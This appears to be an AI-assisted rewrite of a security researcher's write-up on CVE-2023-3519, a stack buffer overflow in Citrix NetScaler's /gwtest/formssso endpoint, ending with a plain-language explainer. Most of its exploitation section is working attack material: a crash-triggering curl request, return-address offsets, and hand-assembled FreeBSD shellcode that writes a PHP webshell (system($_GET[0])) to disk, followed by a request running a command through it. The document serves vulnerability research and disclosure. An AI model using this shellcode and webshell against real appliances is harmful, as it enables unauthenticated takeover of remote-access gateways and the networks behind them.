Skip to content
Memory corruption Write-up Advanced

Finding and Exploiting Citrix NetScaler Buffer Overflow (CVE-2023-3519) (Part 3)

An unauthenticated buffer overflow in the Citrix NetScaler /gwtest/formssso endpoint allows remote code execution. An attacker can send a crafted request to crash the server and potentially execute arbitrary code.

Dylan Pindur Follow

Published on blog.assetnote.io

A lot has been written about the recent Citrix NetScaler buffer overflow. In the initial rush to get information and platform checks out to customers, some details may not have been fully explained.

Dylan Pindur, on blog.assetnote.io

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

Context

On 18 July 2023 Citrix announced an unauthenticated remote code execution vulnerability in Citrix ADC and Citrix Gateway. No details or indicators of compromise were provided with the announcement, so the team began reversing the patch to work out whether the issue applied to their platform. This post walks through that process from the announcement to a working exploit.

The affected component is the Citrix Gateway, which is handled by the /netscaler/nsppe binary. This is the NetScaler Packet Processing Engine (nsppe), and it implements a complete network stack along with multiple HTTP services. Because the Gateway logic lives inside the same binary as the network stack, anything that crashes or corrupts nsppe affects all traffic in and out of the appliance.

The vulnerable code path is reached through ns_vpn_process_unauthenticated_request, which checks for the /gwtest/ prefix. One of those prefixes is /gwtest/, and the handler behind it, ns_aaa_gwtest_handler, recognises the second part of the URL /formssso. The endpoint of interest is therefore /gwtest/formssso.

A Python script demonstrating the exploit for version 13.1-48.47 of Citrix NetScaler is published at https://github.com/assetnote/exploits/tree/main/citrix/CVE-2023-3519. Some tweaks are required for other versions.

Setup

Two versions of Citrix NetScaler were downloaded and configured: 13.1-48.47 (unpatched) and 13.1-49.13 (patched). The corresponding nsppe binaries were decompiled with Ghidra. Because the binary is so large, the decompiler resources had to be raised under Edit -> Tool Options -> Decompiler to the following values:

Setting Value
Cache Size (Functions) 2048
Decompiler Max-Payload (Mbytes) 512
Decompiler Timeout (seconds) 900
Max Instructions per Function 3000000

After decompiling each binary, a BinDiff file was generated for each with the BinExport Ghidra extension. These were compared in BinDiff, and each function with detected changes was examined. For most functions, rather than comparing them directly in BinDiff, the decompiled code from Ghidra was compared textually.

For debugging, the VM included a copy of GDB and GDBServer. GDBServer normally runs over TCP but also supports serial devices. A virtual serial device was added to the VM, and sending data over it worked without issue. GDB and GDBServer over that device, however, would never connect, which was suspected to be because the file was not a "serial device" on the macOS side. VMware Fusion's GUI offered no way to configure the device differently, but the .vmx file could be edited to change the serial device to the following:

Text
serial0.fileType = "network"
serial0.fileName = "telnet://:12345"
serial0.present = "TRUE"

With this setup VMware listened on TCP port 12345 on the host and forwarded the connection to the serial device in the VM, giving a full debugging session with GDB running locally with PEDA installed.

Finding it

The first notable function found in the diff was ns_aaa_saml_parse_authn_request, which turned out to be a red herring. The patch did include a fix for a memory corruption vulnerability in this function, but there was no immediately obvious way to pivot it to remote code execution. No CVE has been raised for the potential denial of service that is possible as a result of that vulnerability.

Comparing each function identified by BinDiff eventually led to ns_aaa_gwtest_get_event_and_target_names, where the patched version appeared to contain an additional length check:

C
// Unpatched Version
if (iVar3 + 1 == iVar7 + -6) {
    iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2);
    pcVar8 = local_38;
    if (iVar3 == 0) {
        uVar9 = 0x16000c;
    } else {
        *(undefined *)(param_2 + iVar3) = 0;
        uVar9 = 0;
    }
}
C
// Patched Version, note the iVar3 < 0x80 length check
if ((iVar3 + 1 == uVar8 - 6) && (uVar9 = 0x160010, iVar3 < 0x80)) {
    iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2,iVar3);
    pcVar7 = local_38;
    if (iVar3 == 0) {
        uVar9 = 0x16000c;
    } else {
        *(undefined *)(param_2 + iVar3) = 0;
        uVar9 = 0;
    }
}

Tracing the calls to ns_aaa_gwtest_get_event_and_target_names with Ghidra led to ns_aaa_gwtest_handler, which contained the second part of the URL, /formssso:

C
if (uVar7 != 0x6d726f66) {
    return 0x20;
}
// 0x6f7373736d726f66 == formssso
if ((*puVar1 | 0x2020202020202020) != 0x6f7373736d726f66) {
    return 0x20;
}
if ((*(byte *)(lVar2 + 0x10) | 0x20) != 0x3f) {
    return 0x20;
}
lVar5 = ns_aaa_gwtest_get_valid_fsso_server(param_2);
if (lVar5 == 0) {
    return 0xf43;
}

Looking further back in the call graph, ns_aaa_gwtest_handler was called by ns_vpn_process_unauthenticated_request, where the first part of the URL, /gwtest/, was found:

C
// 0x2f7473657477672f == /gwtest/
if ((*puVar5 | 0x2020202020202020) == 0x2f7473657477672f) goto code_r0x00743e2d;
...
code_r0x00743e2d:
if ((ns_async_ctx != 0) && (*(int *)(ns_async_ctx + 0x6c + (ulong)ns_async_callers_context_size) != 0x28c)) {
    panic("Async context ID does not match expected context ID NS_ASYNC_CTX_AAA_UNAUTH_GWTEST");
}
ns_async_callers_context_size = ns_async_callers_context_size + 0xc0;
if (ns_async_ctx != 0) {
    if (*(int *)(ns_async_ctx + 8) != -0x5310ff3) goto LAB_0075c646;
    if ((ns_async_callers_context_size < *(uint *)(ns_async_ctx + 0x68)) &&
        (0x610 < *(int *)(ns_async_ctx + 0x6c + (ulong)ns_async_callers_context_size) - 0xacU)) {
        goto LAB_00745ba5;
    }
}
iVar14 = ns_aaa_gwtest_handler(local_58,local_50,0,local_80,0);

At this point the endpoint was known, /gwtest/formssso, but not how to call it. The Ghidra output for ns_aaa_gwtest_get_event_and_target_names showed that it expected an event query parameter with a value of either start or done, then checked for a target query parameter and passed its value to the vulnerable ns_aaa_saml_url_decode function. A cut-down version of the function:

C
undefined8 ns_aaa_gwtest_get_event_and_target_names(long param_1,long param_2,uint *param_3){
    // check for 'event' query parameter
    iVar3 = strncmp("event=",local_38,6);
    if (iVar3 == 0) {
        // check value is 'start'
        iVar3 = strncmp((char *)(lVar6 + 0x17),"start&",6);
        if (iVar3 != 0) {
            iVar3 = strncmp((char *)(lVar6 + 0x17),"done&",5);
        }
        // check for 'target' query parameter
        __s2 = (char *)(lVar6 + lVar5);
        iVar3 = strncmp("target=",__s2,7);
        if (iVar3 == 0) {
            // point to the value of the 'target' query parameter
            pcVar1 = __s2 + 7;
            iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2);
        }
    }
}

Exploitation

Step 1: Trigger the crash

Sending the following request caused a server crash:

Bash
$ curl -k 'https://[redacted]/gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

Sending this request caused a server crash.

Step 2: Get a working debugger

The main obstacle was that nsppe is responsible for all network traffic in and out of the VM, so attaching a debugger from an SSH session immediately severed the connection. Everything had to be done in the small VM console window, which did not support copy and paste and was occasionally spammed with log messages from other processes, and no GDB plugins such as PEDA could be used. The serial-over-TCP setup described above solved this.

The first step in each debugging session was suspending the pitboss monitoring process, which automatically restarts nsppe if it detects it not responding. Pitboss was attached to with GDB and left in the background:

Text
root@ns# gdb -p 27 &
[1] 996
root@ns# GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-unknown-freebsd11.4".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 27
Reading symbols from /netscaler/pitboss...(No debugging symbols found in /netscaler/pitboss)
Reading symbols from /usr/lib32/libnsapps.so...(No debugging symbols found in /usr/lib32/libnsapps.so)
Reading symbols from /usr/lib32/libc.so.7...(No debugging symbols found in /usr/lib32/libc.so.7)
Reading symbols from /usr/lib32/libcrypto.so.8...(No debugging symbols found in /usr/lib32/libcrypto.so.8)
Reading symbols from /usr/lib32/libssl.so.8...(No debugging symbols found in /usr/lib32/libssl.so.8)
Reading symbols from /usr/lib32/libm.so.5...(No debugging symbols found in /usr/lib32/libm.so.5)
Reading symbols from /libexec/ld-elf32.so.1...(No debugging symbols found in /libexec/ld-elf32.so.1)
[Switching to LWP 100136 of process 27]
0x28414763 in _kevent () from /usr/lib32/libc.so.7
[1]+  Stopped                 gdb -p 27

GDBServer was then started with the serial device /dev/cuau0 as the transport, attached to nsppe:

Text
root@ns# gdbserver /dev/cuau0 --attach 453

On the host side, GDB was run, the nsppe binary loaded, and target remote [redacted]:12345 used to connect to GDBServer:

Text
$ gdb
For help, type "help".
Type "apropos word" to search for commands related to "word".
gdb-peda$ file ./unpatched/nsppe
Reading symbols from ./unpatched/nsppe...(No debugging symbols found in ./unpatched/nsppe)
gdb-peda$ target remote [redacted]:12345
Remote debugging using [redacted]:12345
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x117802860 --> 0x0
RCX: 0x114c11000 --> 0x10a865b80 --> 0x11aaaaaa
RDX: 0xda
RSI: 0xfd
RDI: 0x114c4ecc0 --> 0x0
RBP: 0x7fffffffe8e0 --> 0x7fffffffe940 --> 0x7fffffffe970 --> 0x7fffffffe9a0 --> 0x7fffffffe9b0 --> 0x7fffffffe9e0 (--> ...)
RSP: 0x7fffffffe8c0 --> 0x0
RIP: 0x1e418c6 --> 0x4d30c383483b8b4c
R8 : 0x803962000 --> 0x0
R9 : 0x1f46a
R10: 0x1
R11: 0x119204000 --> 0xfa00
R12: 0x93dc568
R13: 0x2c93000 (0x0000000002c93000)
R14: 0x1
R15: 0x114c4ecc0 --> 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x1e418c0 <vc_idle_poll+64>: test   eax,eax
   0x1e418c2 <vc_idle_poll+66>: jne    0x1e418d5 <vc_idle_poll+85>
   0x1e418c4 <vc_idle_poll+68>: pause
=> 0x1e418c6 <vc_idle_poll+70>: mov    r15,QWORD PTR [rbx]
   0x1e418c9 <vc_idle_poll+73>: add    rbx,0x30
   0x1e418cd <vc_idle_poll+77>: test   r15,r15
   0x1e418d0 <vc_idle_poll+80>: jne    0x1e418b0 <vc_idle_poll+48>
   0x1e418d2 <vc_idle_poll+82>: xor    r14d,r14d
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe8c0 --> 0x0
0008| 0x7fffffffe8c8 --> 0x0
0016| 0x7fffffffe8d0 --> 0x93dc568
0024| 0x7fffffffe8d8 --> 0x8000000000000000
0032| 0x7fffffffe8e0 --> 0x7fffffffe940 --> 0x7fffffffe970 --> 0x7fffffffe9a0 --> 0x7fffffffe9b0 --> 0x7fffffffe9e0 (--> ...)
0040| 0x7fffffffe8e8 --> 0x15c3f89 --> 0x467850fc085
0048| 0x7fffffffe8f0 --> 0x7fffffffe920 --> 0x0
0056| 0x7fffffffe8f8 --> 0xf668e5 --> 0x1be41c085
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSTOP
0x0000000001e418c6 in vc_idle_poll ()

Single-stepping instructions at certain locations occasionally caused the program to behave differently, but this was still much better than the tiny console window.

Step 3: Dissect the crash

A breakpoint was set on ns_aaa_gwtest_get_valid_fsso_server and the payload sent. Stepping through the function call up to the call to the vulnerable function:

Text
 0xc7fa7c <ns_aaa_gwtest_get_valid_fsso_server+60>: mov    DWORD PTR [rbp-0xc],0x0
 0xc7fa83 <ns_aaa_gwtest_get_valid_fsso_server+67>: lea    rsi,[rbp-0xa0]
 0xc7fa8a <ns_aaa_gwtest_get_valid_fsso_server+74>: lea    rdx,[rbp-0x1c]
=> 0xc7fa8e <ns_aaa_gwtest_get_valid_fsso_server+78>: call   0xc82bb0 <ns_aaa_gwtest_get_event_and_target_names>
 0xc7fa93 <ns_aaa_gwtest_get_valid_fsso_server+83>: test   eax,eax
 0xc7fa95 <ns_aaa_gwtest_get_valid_fsso_server+85>: je     0xc7fa9b <ns_aaa_gwtest_get_valid_fsso_server+91>
 0xc7fa97 <ns_aaa_gwtest_get_valid_fsso_server+87>: xor    ebx,ebx
 0xc7fa99 <ns_aaa_gwtest_get_valid_fsso_server+89>: jmp    0xc7fac7 <ns_aaa_gwtest_get_valid_fsso_server+135>

Stepping over this call frequently resulted in unrelated errors, so a breakpoint was set just after the call at 0xc7fa93 instead. Running the exploit again showed a corrupted call stack, though the application had not yet crashed. The backtrace showed the call stack filled with 0x41, the A character used in the payload:

Text
[-------------------------------------code-------------------------------------]
   0xc7fa83 <ns_aaa_gwtest_get_valid_fsso_server+67>: lea    rsi,[rbp-0xa0]
   0xc7fa8a <ns_aaa_gwtest_get_valid_fsso_server+74>: lea    rdx,[rbp-0x1c]
   0xc7fa8e <ns_aaa_gwtest_get_valid_fsso_server+78>: call   0xc82bb0 <ns_aaa_gwtest_get_event_and_target_names>
=> 0xc7fa93 <ns_aaa_gwtest_get_valid_fsso_server+83>: test   eax,eax
   0xc7fa95 <ns_aaa_gwtest_get_valid_fsso_server+85>: je     0xc7fa9b <ns_aaa_gwtest_get_valid_fsso_server+91>
   0xc7fa97 <ns_aaa_gwtest_get_valid_fsso_server+87>: xor    ebx,ebx
   0xc7fa99 <ns_aaa_gwtest_get_valid_fsso_server+89>: jmp    0xc7fac7 <ns_aaa_gwtest_get_valid_fsso_server+135>
   0xc7fa9b <ns_aaa_gwtest_get_valid_fsso_server+91>: lea    rbx,[rbp-0xa0]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffc120 --> 0x0
0008| 0x7fffffffc128 --> 0x0
0016| 0x7fffffffc130 ('A' <repeats 200 times>...)
0024| 0x7fffffffc138 ('A' <repeats 192 times>, " ")
0032| 0x7fffffffc140 ('A' <repeats 184 times>, " ")
0040| 0x7fffffffc148 ('A' <repeats 176 times>, " ")
0048| 0x7fffffffc150 ('A' <repeats 168 times>, " ")
0056| 0x7fffffffc158 ('A' <repeats 160 times>, " ")
[------------------------------------------------------------------------------]
gdb-peda$ backtrace
#0  0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
#1  0x4141414141414141 in ?? ()
#2  0x4141414141414141 in ?? ()
#3  0x4141414141414141 in ?? ()
#4  0x4141414141414141 in ?? ()
#5  0x00000000034a0020 in ns_cvm_cardInBulkQHead ()
#6  0x0000000000000000 in ?? ()

Since the new length check in the patched version was 128 bytes, the payload was updated with multiples of B, C and D towards the suspected end of the buffer, to find how much space had to be filled before overwriting a return address. A binary search may have been quicker, but there was good visibility and the addresses did not change between runs. Eventually the payload 'A' * 160 + 'B' * 8 + 'C' * 8 + 'D' * 8 showed 0x4343434343434343 (the 8 C bytes) filling the return address:

Text
Breakpoint 3, 0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
gdb-peda$ backtrace
#0  0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
#1  0x4343434343434343 in ?? ()
#2  0x4444444444444444 in ?? ()
#3  0x00000000034a0020 in ns_cvm_cardInBulkQHead ()
#4  0x0000000002f75a01 in ns_default_partition ()
#5  0x00000000034ab320 in ?? ()
#6  0x0000000000000000 in ?? ()

This meant there was a buffer of 168 bytes followed by the address to return to. Since the stack is marked executable, the plan was to jump to the start of the buffer at 0x7fffffffc130. The payload was put together with four nop instructions for the shellcode, the return address, and the rest padded to fill up to 168 bytes:

Python
shellcode = b'\x90\x90\x90\x90'
return_address = b'\x30\xc1\xff\xff\xff\x7f\x00\x00'
padding = b'A' * (168 - len(shellcode))
payload = shellcode + padding + return_address

Attempts were made to URL encode all bytes, but there is a bug in the URL decoding which affects bytes greater than 0xa0. Only a few characters were URL encoded, with troublesome bytes added to a list as they were encountered. Running the exploit and continuing execution from the breakpoint until the end of the function showed execution neatly at the start of the four nop instructions:

Text
Breakpoint 3, 0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
gdb-peda$ finish
Run till exit from #0  0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
[-------------------------------------code-------------------------------------]
   0x7fffffffc12a: add    BYTE PTR [rax],al
   0x7fffffffc12c: add    BYTE PTR [rax],al
   0x7fffffffc12e: add    BYTE PTR [rax],al
=> 0x7fffffffc130: nop
   0x7fffffffc131: nop
   0x7fffffffc132: nop
   0x7fffffffc133: nop
   0x7fffffffc134: rex.B

Step 4: Exit cleanly

For the exploit to be usable in a platform check, it has to execute without interrupting the service, so the shellcode needed to clean up and let the application continue normal operation. A breakpoint was set at ns_aaa_gwtest_get_valid_fsso_server and the call stack inspected before the overflow was triggered, to see where execution would continue from under normal circumstances:

Text
Breakpoint 4, 0x0000000000c7fa44 in ns_aaa_gwtest_get_valid_fsso_server ()
gdb-peda$ backtrace
#0  0x0000000000c7fa44 in ns_aaa_gwtest_get_valid_fsso_server ()
#1  0x0000000000c7f4b2 in ns_aaa_gwtest_handler ()
#2  0x0000000000743e6d in ns_vpn_process_unauthenticated_request ()
#3  0x000000000078245b in ns_aaa_cookie_valid ()
#4  0x00000000007923c3 in ns_aaa_client_handler ()
#5  0x0000000001e14f89 in nshttp_handler ()
#6  0x000000000113aa27 in nsssl_handlePkt ()
#7  0x00000000014e524d in ns_sslSendHTTPDataPkts ()
#8  0x00000000014e6d5e in ssl3_accept ()
#9  0x00000000014d34f5 in SSL_input ()
#10 0x000000000113a7cc in nsssl_handler ()
#11 0x000000000113a412 in nsssl_generic_handler ()
#12 0x0000000001e5aeb0 in nstcp_input ()
#13 0x0000000001e4bc5a in handleL4Session ()
#14 0x0000000001e48c21 in dispatch_tcp ()
#15 0x0000000001e41e6c in nic_rx_flush_pipeline ()
#16 0x0000000001e41c09 in vc_poll ()
#17 0x00000000015c858f in ns_netio ()
#18 0x00000000015c8422 in packet_engine ()
#19 0x0000000001a5ffb5 in ns_enter_main ()
#20 0x0000000001a643dd in main ()
#21 0x00000000004002db in _start ()

Execution was continued and stopped when it reached the shellcode. The 20 64-bit words from the top of the stack were examined to see if any matched the return addresses in the previous backtrace. At 0x7fffffffc210 the pushed rbp value was followed by the return address of ns_vpn_process_unauthenticated_request:

Text
0x00007fffffffc130 in ?? ()
gdb-peda$ x/20g $rsp
0x7fffffffc1e0: 0x0000000000000020 0x00000000034ab344
0x7fffffffc1f0: 0x0000000002f75a01 0x00000000034ab320
0x7fffffffc200: 0x0000000000000000 0x0000000000000001
0x7fffffffc210: 0x00007fffffffd430 0x0000000000743e6d <-- matches ns_vpn_process_unauthenticated_request
0x7fffffffc220: 0x00007fffffffc270 0x0000000001dda811
0x7fffffffc230: 0x00007fffffffc280 0x0000000001dda811
0x7fffffffc240: 0x00007fffffffc4a8 0x0000000000007fff
0x7fffffffc250: 0x00007fffffffc6b8 0x0000000000007fff
0x7fffffffc260: 0x0000000000000005 0x000000000234bd3e
0x7fffffffc270: 0x0000000000007fff 0x0000000000000000

Subtracting the current rsp value (0x7fffffffc1e0) from the target rsp value (0x7fffffffc210) gave a difference of 0x30. The following instructions were added to the shellcode to increment the stack pointer, pop the stored base pointer and continue execution of ns_vpn_process_unauthenticated_request:

Python
shellcode += b'\x48\x83\xC4\x30' # add rsp, 0x30
shellcode += b'\x5d'             # pop rbp
shellcode += b'\xc3'             # ret

Running the new exploit, stepping through the shellcode right up to the ret instruction and looking at the call stack showed everything looked good. At this stage the exploit could be run repeatedly without interrupting the service:

Text
[-------------------------------------code-------------------------------------]
   0x7fffffffc12f: add    BYTE PTR [rax+0x48909090],dl
   0x7fffffffc135: add    esp,0x30
   0x7fffffffc138: pop    rbp
=> 0x7fffffffc139: ret
   0x7fffffffc13a: rex.B
   0x7fffffffc13b: rex.B
   0x7fffffffc13c: rex.B
   0x7fffffffc13d: rex.B
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00007fffffffc139 in ?? ()
gdb-peda$ backtrace
#0  0x00007fffffffc139 in ?? ()
#1  0x0000000000743e6d in ns_vpn_process_unauthenticated_request ()
#2  0x000000000078245b in ns_aaa_cookie_valid ()
#3  0x00000000007923c3 in ns_aaa_client_handler ()
#4  0x0000000001e14f89 in nshttp_handler ()
#5  0x000000000113aa27 in nsssl_handlePkt ()
#6  0x00000000014e524d in ns_sslSendHTTPDataPkts ()
#7  0x00000000014e6d5e in ssl3_accept ()
#8  0x00000000014d34f5 in SSL_input ()
#9  0x000000000113a7cc in nsssl_handler ()
#10 0x000000000113a412 in nsssl_generic_handler ()
#11 0x0000000001e5aeb0 in nstcp_input ()
#12 0x0000000001e4bc5a in handleL4Session ()
#13 0x0000000001e48c21 in dispatch_tcp ()
#14 0x0000000001e41e6c in nic_rx_flush_pipeline ()
#15 0x0000000001e41c09 in vc_poll ()
#16 0x00000000015c858f in ns_netio ()
#17 0x00000000015c8422 in packet_engine ()
#18 0x0000000001a5ffb5 in ns_enter_main ()
#19 0x0000000001a643dd in main ()
#20 0x00000000004002db in _start ()

Step 5: Write a webshell

The approach chosen was to write a small webshell to a file and then call it with a separate request. The payload was modified to start with the filename and file contents, and the return address updated to land after this point in the buffer:

Python
shellcode  = b''
shellcode += b'/var/vpn/theme/x.php\x00'       # 21 bytes
shellcode += b'<?php+system($_GET[0]);+?>\x00' # 27 bytes
shellcode += b'\x48\x83\xC4\x30'               # add rsp, 0x30
shellcode += b'\x5d'                           # pop rbp
shellcode += b'\xc3'

When the buffer was examined, a null byte had been inserted midway through:

Text
gdb-peda$ x/3s 0x7fffffffc130
0x7fffffffc130: "/var/vpn/theme/x.php"
0x7fffffffc145: "<?php system"
0x7fffffffc152: "$_GET[0]); ?>"

To fix this, padding was added, the last byte of which would be converted to a null byte:

Python
shellcode  = b''
shellcode += b'/var/vpn/theme/x.php\x00'       # 21 bytes
shellcode += b'AAAAAAAAAAAAA'                  # 13 bytes
shellcode += b'<?php+system($_GET[0]);+?>\x00' # 27 bytes
shellcode += b'\x48\x83\xC4\x30'               # add rsp, 0x30
shellcode += b'\x5d'                           # pop rbp
shellcode += b'\xc3'

The first stage of the exploit makes the open syscall to get a file descriptor. NetScaler is based on FreeBSD, so the x64 System V ABI calling convention applies: the first three arguments go in rdi, rsi and rdx, the syscall number goes in rax, and the syscall instruction triggers it.

To begin, rsp is copied to rdi and 0xb0 subtracted so that it points to the start of /var/vpn/theme/x.php:

Python
shellcode += b'\x48\x89\xe7'                   # mov rdi, rsp
shellcode += b'\x48\x81\xef\xb0\x00\x00\x00'   # sub rdi, 0xb0

Next the flags argument is set to O_CREAT | O_WRONLY to create the file and open it for writing. A gotcha when looking up these constants is to use the FreeBSD values rather than the Linux ones: on Linux O_CREAT is 0x100, but on FreeBSD it is 0x200.

Python
shellcode += b'\xbe\x01\x02\x00\x00'           # mov esi, 0x201

For the final argument, the mode is set to 0x1ff, which corresponds to a 777 file mode:

Python
shellcode += b'\xba\xff\x01\x00\x00'           # mov edx, 0x1ff

Lastly, rax is set to the open syscall number, which on FreeBSD is 5, and the syscall executed:

Python
shellcode += b'\xb8\x05\x00\x00\x00'           # mov eax, 0x5
shellcode += b'\x0f\x05'                       # syscall

Next is a write syscall. Since rax should hold the file descriptor returned from the open syscall, that is copied to rdi. The same rsp trick as before gets a pointer to the file contents into rsi, and the file size in bytes (0x1a) goes into rdx:

Python
shellcode += b'\x48\x89\xc7'                   # mov rdi, rax
shellcode += b'\x48\x89\xe6'                   # mov rsi, rsp
shellcode += b'\x48\x81\xee\x8e\x00\x00\x00'   # sub rsi, 0x8e
shellcode += b'\xba\x1a\x00\x00\x00'           # mov edx, 0x1a
shellcode += b'\xb8\x04\x00\x00\x00'           # mov eax, 0x4
shellcode += b'\x0f\x05'                       # syscall

Next is a close syscall. The first and only argument is in rdi and is the file descriptor, unchanged from the previous call, so only the rax register needs setting before executing the syscall instruction:

Python
shellcode += b'\xb8\x06\x00\x00\x00'           # mov rax, 0x6
shellcode += b'\x0f\x05'                       # syscall

The full payload:

Python
shellcode  = b''
shellcode += b'/var/vpn/theme/x.php\x00'       # 21 bytes
shellcode += b'AAAAAAAAAAAAA'                  # 13 bytes
shellcode += b'<?php+system($_GET[0]);+?>\x00' # 27 bytes
# open syscall
shellcode += b'\x48\x89\xe7'                   # mov rdi, rsp
shellcode += b'\x48\x81\xef\xb0\x00\x00\x00'   # sub rdi, 0xb0
shellcode += b'\xbe\x01\x02\x00\x00'           # mov esi, 0x201
shellcode += b'\xba\xff\x01\x00\x00'           # mov edx, 0x1ff
shellcode += b'\xb8\x05\x00\x00\x00'           # mov eax, 0x5
shellcode += b'\x0f\x05'                       # syscall
# write syscall
shellcode += b'\x48\x89\xc7'                   # mov rdi, rax
shellcode += b'\x48\x89\xe6'                   # mov rsi, rsp
shellcode += b'\x48\x81\xee\x8e\x00\x00\x00'   # sub rsi, 0x8e
shellcode += b'\xba\x1a\x00\x00\x00'           # mov edx, 0x1a
shellcode += b'\xb8\x04\x00\x00\x00'           # mov eax, 0x4
shellcode += b'\x0f\x05'                       # syscall
# close syscall
shellcode += b'\xb8\x06\x00\x00\x00'           # mov rax, 0x6
shellcode += b'\x0f\x05'                       # syscall
# cleanup
shellcode += b'\x48\x83\xC4\x30'               # add rsp, 0x30
shellcode += b'\x5d'                           # pop rbp
shellcode += b'\xc3'                           # ret
shellcode_encoded = tweaked_url_encode(shellcode)
return_address = b'\x6d\xc1\xff\xff\xff\x7f\x00\x00'
return_address_encoded = tweaked_url_encode(return_address)
padding = b'A' * (168 - len(shellcode))
payload = shellcode_encoded + padding + return_address_encoded

After executing this, the webshell could be called as follows:

Bash
$ curl -kv 'https://[redacted]/vpn/theme/x.php?0=uname%20-a'
FreeBSD ns 11.4-NETSCALER-13.1 FreeBSD 11.4-NETSCALER-13.1 #0 2596b10c4(rs_131_48_41_RTM): Sat Jun  3 00:57:48 PDT 2023     root@sjc-bld-bsd114-232:/usr/obj/usr/home/build/adc/usr.src/sys/NS64  amd6

The response is cached by NetScaler. The only way found to clear the cache was a restart or also running /netscaler/nsapimgr_wr.sh -ys call=ns_ic_flush. More work would be required to make this work in one shot, but for proving exploitability this was all that was needed.

Root cause

The initial flaw is an unbounded copy in ns_aaa_saml_url_decode. The patched version adds an iVar3 < 0x80 length check and passes the length into the decode function. The overflow is exacerbated by having no other mitigations: the stack was executable, address space was not randomised, there were no stack canaries, and the Gateway application is bundled with the network stack rather than running in a separate, less privileged process. With no special configuration required and the popularity of the appliance, the vulnerability has had a huge impact.

Impact

On the demonstrated version, an unauthenticated attacker can reach /gwtest/formssso, overflow the stack buffer and achieve remote code execution in the nsppe process. Because nsppe handles all network traffic in and out of the appliance, a crash takes down the service, and the exploit described here can write a webshell to disk and execute arbitrary commands. The demonstration targets version 13.1-48.47; some tweaks are required for other versions.

Fix

The patch in 13.1-49.13 adds a length check (iVar3 < 0x80) before the decode and passes the length into ns_aaa_saml_url_decode. The patch also includes a fix for a separate memory corruption vulnerability in ns_aaa_saml_parse_authn_request, for which no CVE has been raised for the potential denial of service.

Variants to test

  1. Other unauthenticated URL prefixes. Walk the call graph from ns_vpn_process_unauthenticated_request and look for other handlers dispatched on URL prefixes, such as the /gwtest/ check. A positive result is a handler that reaches a decode or copy routine without a length check.
  2. Other query parameters passed to decoders. Look for strncmp checks on parameter names followed by a call into a decode function. A positive result is a parameter whose value reaches ns_aaa_saml_url_decode or a similar routine without a bound.
  3. URL decoding bugs for bytes above 0xa0. The report notes a bug in the URL decoding affecting bytes greater than 0xa0. A positive result is a byte that decodes differently from the expected value.
  4. Other versions of the appliance. The exploit is demonstrated on 13.1-48.47 and requires tweaks for other versions. A positive result is a version where the same endpoint and buffer layout produce a controllable return address.
  5. Cache behaviour after exploitation. The response from the webshell is cached, and the only ways found to clear it were a restart or /netscaler/nsapimgr_wr.sh -ys call=ns_ic_flush. A positive result is a way to make a one-shot exploit work without a restart.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 41 min read.

What happened, in plain words

In July 2023 the company Citrix told the world that a product many organisations use to let staff log in from outside the office had a serious security hole. The product is called Citrix ADC and Citrix Gateway. The hole allowed someone who had not logged in at all to run their own commands on the machine. That is what security people call remote code execution: the attacker gets to make the computer do things it was never meant to do, without ever having an account.

Citrix did not say where the hole was or how to find it. So the researchers in this story had to work it out themselves. They took the old version of the software and the new, fixed version, and compared them side by side. When a company fixes a bug, the fix usually leaves a visible mark in the code, like a patch on a tyre. By comparing the two versions, the researchers could see exactly what changed, and the change pointed them straight at the broken part.

Once they found it, they built a working attack, step by step, and made it run without crashing the machine. This article walks through that whole journey in the same order the researchers did it, explaining each idea from scratch as it comes up.

The product and the piece that broke

Citrix Gateway is the part of the appliance that handles people logging in from outside, for example to reach internal websites. Under the bonnet, the Gateway work is done by a program called /netscaler/nsppe. The name stands for NetScaler Packet Processing Engine. A packet is a small chunk of data travelling across a network, and an engine is just a program that does a job. So nsppe is the program that handles every network packet going in and out of the appliance, and it also speaks several web protocols on top of that.

This detail matters a lot. Normally, a well-built system keeps the part that talks to the internet separate from the part that does the sensitive work, so that if one breaks the other survives. Here, the Gateway logic lives inside the same program as the network stack. If anything goes wrong inside nsppe, every connection in and out of the appliance is affected. Think of it as the receptionist and the security guard being the same person: if that person is knocked out, nobody gets in or out.

